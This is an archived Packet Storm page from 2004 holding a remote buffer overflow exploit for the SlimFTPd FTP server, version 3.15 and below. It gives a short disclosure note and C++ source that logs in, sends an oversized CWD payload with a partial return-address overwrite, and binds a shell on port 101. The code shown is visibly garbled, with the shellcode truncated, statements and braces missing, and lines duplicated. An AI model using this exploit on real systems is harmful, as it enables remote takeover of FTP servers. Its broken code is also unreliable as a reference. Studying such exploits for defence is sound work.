what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New


Posted Nov 12, 2004
Authored by class101

Remote buffer overflow exploit for SlimFTPd versions 3.15 and below. Binds a shell to port 101.

tags | exploit, remote, overflow, shell
SHA-256 | 72f616af4023fdd34e495c1bf2a94ae7cdbc6f584edcc17bfc9bb7541143cabd


Change Mirror Download

SlimFTPd <= 3.15, Remote Buffer Overflow Exploit v0.1.
Bind a shellcode to the port 101.

Full disclosure and exploit
by class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet
10 november 2004

Thanx to HDMoore and Metasploit.com for their kickass ASM work.


Homepage - http://www.whitsoftdev.com/slimftpd/

SlimFTPd is a fully standards-compliant FTP server implementation with an advanced
virtual file system.It is extremely small, but don't let its file size deceive you:
SlimFTPd packs a lot of bang for the kilobyte. It is written in pure Win32 C++ with
no external dependencies and no messy installer. SlimFTPd is a fully multi-threaded
application that runs as a system service on Windows 98/ME or Windows NT/2K/XP, and
it comes with a tool to simplify its installation or uninstallation as a system service.
Once the service is started, SlimFTPd runs quietly in the background.
It reads its configuration from a config file in the same folder as the executable,
and it outputs all activity to a log file in the same place.
The virtual file system allows you to mount any local drive or path to any virtual
path on the server. This allows you to have multiple local drives represented on the
server's virtual file system or just different folders from the same drive.
SlimFTPd allows you to set individual permissions for server paths.
Open slimftpd.conf in your favorite text editor to set up SlimFTPd's configuration.
The format of SlimFTPd's config file is similar to Apache Web Server's for those
familiar with Apache.


A simple buffer overflow when a large buffer is passed to different commands,
CWD, STOR, MKD, STAT etc.., nothing more, the attacker need to be logged in,
read the code for further instructions.


Actually none, the vendor is contacted, is warning users, and working on a fix.


Ok I'll try to explain what happen in this one with my crap english...
As you can notice , I havent used as usual a CALL/JMP offset address from a DLL.
Why ? Because if you debug, you will notice that we are able to overwrite
only 3/4 bytes of EIP maximum due to a buffer length restriction in the ftp server (~500bytes).
The 4th byte will always point to 00. But this 00 is enough helpful to fake there my
magic ret ;p
Ok once you understand what is this magic ret , I think that you understanded all there...


class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet
K-OTik.com displaying the half part of codes they receive
(also some other friends to me noticed it..., another ie:
JPEG Exploits, 6 or 7 mirrors displayed, poor assh0les...)


#include "winsock2.h"
#include "fstream.h"

char scode[] = "\xEB"

char cmd[]="CWD ";
char call[]="\xb2\x06\x40"; // Magicret ;p

#pragma comment(lib, "ws2_32")

void usage(char* us);
WSADATA wsadata;
void ver();

static char payload[5000];

int main(int argc,char *argv[])
if ((argc<5)||(argc>6)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return -1;}
if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
char *login=argv[2], *passwd=argv[3], data[10], recvbuf2[100], recvbuf[100], rootbuf[100], logbuf[100], logbuf2[100], pdbuf[100], pdbuf2[100];
int ip=htonl(inet_addr(argv[4])), sz, a, sizeA, lgth, port;
if (argc==6){port=atoi(argv[5]);}
else port=21;
char *os;
if (atoi(argv[1]) == 1){os="Win2k based system";}
if (atoi(argv[1]) == 1){os="Win2k based system";}
if (atoi(argv[1]) == 2){os="WinXP based system";}
if (atoi(argv[1]) == 2){os="WinXP based system";}
struct fd_set mask;
struct timeval timeout;
struct sockaddr_in server;
if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}
cout<<"[+] target: "<<os<<endl;
WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
cout<<"[+] connected, login in process..."<<endl;
if (!strstr(recvbuf2,"220")){cout<<"[+] this is not an ftp server, quitting..."<<endl;return -1;}
strcpy(logbuf,"USER ");strcpy(logbuf2,login);strcpy(pdbuf,"PASS ");strcpy(pdbuf2,passwd);strcpy(rootbuf,"STOU AUX");strcpy(data,"\r\n");
if (send(s,logbuf,strlen(logbuf),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
if (send(s,logbuf2,strlen(logbuf2),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
if (send(s,pdbuf,strlen(pdbuf),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
if (send(s,pdbuf2,strlen(pdbuf2),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
if (recv(s,recvbuf,200,0)==SOCKET_ERROR){ cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
if (strstr(recvbuf,"530")){ cout<<"[+] wrong login or passwd"<<endl;return -1;}
cout<<"[+] login success!"<<endl;Sleep(1000);cout<<"[+] sending the exploit string"<<endl;
if (atoi(argv[1]) == 1){lgth=500+1;}
if (atoi(argv[1]) == 2){lgth=498+1;}
for (a=0;a<sizeA;a++){strcat(payload,"\x41");}
if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
cout<<"[+] size of payload: "<<sz<<endl;
cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;
return 0;
return 0;

void usage(char* us)
cout<<"USAGE: 101_slim.exe Target Login Pass Ip Port\n"<<endl;
cout<<"TARGETS: "<<endl;
cout<<" [+] 1. Win2k SP4 English Pro (*)"<<endl;
cout<<" [+] 1. Win2k SP4 English Server (*)"<<endl;
cout<<" [+] 1. Win2k all others "<<endl;
cout<<" [+] 2. WinXP SP1 English Pro (*)"<<endl;
cout<<" [+] 2. WinXP SP1 French Pro (*)"<<endl;
cout<<" [+] 2. WinXP all others "<<endl;
cout<<"NOTE: "<<endl;
cout<<" The port 21 is default if no port are specified"<<endl;
cout<<" The exploit bind a shellcode to the port 101"<<endl;
cout<<" A wildcard (*) mean Tested."<<endl;
void ver()
cout<<" "<<endl;
cout<<" ===================================================[v0.1]===="<<endl;
cout<<" ========SlimFTPd, Tiny FTP Server for Windows <= v3.15======="<<endl;
cout<<" =============Remote Buffer Overflow Exploit=================="<<endl;
cout<<" ====coded by class101===========[DFind.kd-team.com 2004]====="<<endl;
cout<<" ============================================================="<<endl;
cout<<" "<<endl;
Login or Register to add favorites

File Archive:

July 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    52 Files
  • 2
    Jul 2nd
    0 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    8 Files
  • 6
    Jul 6th
    8 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By